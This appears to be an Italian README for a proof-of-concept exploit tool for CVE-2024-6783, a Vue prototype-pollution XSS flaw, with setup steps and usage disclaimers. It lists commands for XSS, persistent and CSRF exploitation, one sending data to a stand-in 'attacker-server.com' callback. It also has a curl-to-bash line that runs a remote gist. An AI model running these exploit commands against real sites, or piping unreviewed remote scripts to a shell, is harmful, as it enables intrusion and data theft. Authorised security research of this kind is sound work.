
CVE-2024-6783 - Vue CVE
È stata scoperta una vulnerabilità in Vue che consente a un attaccante di eseguire XSS tramite prototype pollution. L'attaccante potrebbe modificare la catena dei prototipi di alcune proprietà come Object.prototype.staticClass o Object.prototype.staticStyle per eseguire codice JavaScript arbitrario.
Supporta la manutenzione di questo progetto con PayPal o scansionando il codice QR qui sotto.
Usa questo progetto solo in ambienti sicuri e autorizzati come:
Configurazione di esempio:
git clone https://github.com/HORKimhab/CVE-2024-6783
cd CVE-2024-6783
# Il progetto usa Python come segue
# Crea un ambiente virtuale
python -m venv venv
# Attiva l'ambiente virtuale
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Installa le dipendenze
pip install -r requirements.txt
Esempio di utilizzo:
# solo scansione
python cve-2024-6783.py -u https://example.com -v
# Scansione e sfruttamento XSS
python cve-2024-6783.py -u https://example.com -e xss
# Sfruttamento XSS con Callback
python cve-2024-6783.py -u https://example.com -e xss -c http://attacker-server.com/callback
# Server Callback Automatico
python cve-2024-6783.py -u https://example.com -e persistent -c auto
# Sfruttamento CSRF
python cve-2024-6783.py -u https://example.com -e csrf
# Scansione completa e sfruttamento con output verboso
python cve-2024-6783.py -u https://example.com -e xss -c auto -v -o evidence.html
Nota:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y per eliminare la directory .git annidataUn repository per apprendere, testare e ricercare concetti di cybersicurezza in ambienti controllati.
Questo repository è destinato esclusivamente a ricerca educativa e di sicurezza autorizzata.
È progettato per aiutare gli utenti a conoscere:
Usa questo repository solo in ambienti in cui hai il permesso, come:
L'uso non autorizzato o illegale è severamente proibito.
L'autore e i collaboratori non sono responsabili per danni, usi impropri, problemi legali o perdite causati da questo progetto.
Utilizzando questo repository accetti che:
Questo progetto è pensato per:
Si prega di seguire le pratiche di divulgazione responsabile e di rispettare tutte le leggi applicabili.
Per divulgazione responsabile o collaborazione, contatta il manutentore del repository tramite GitHub.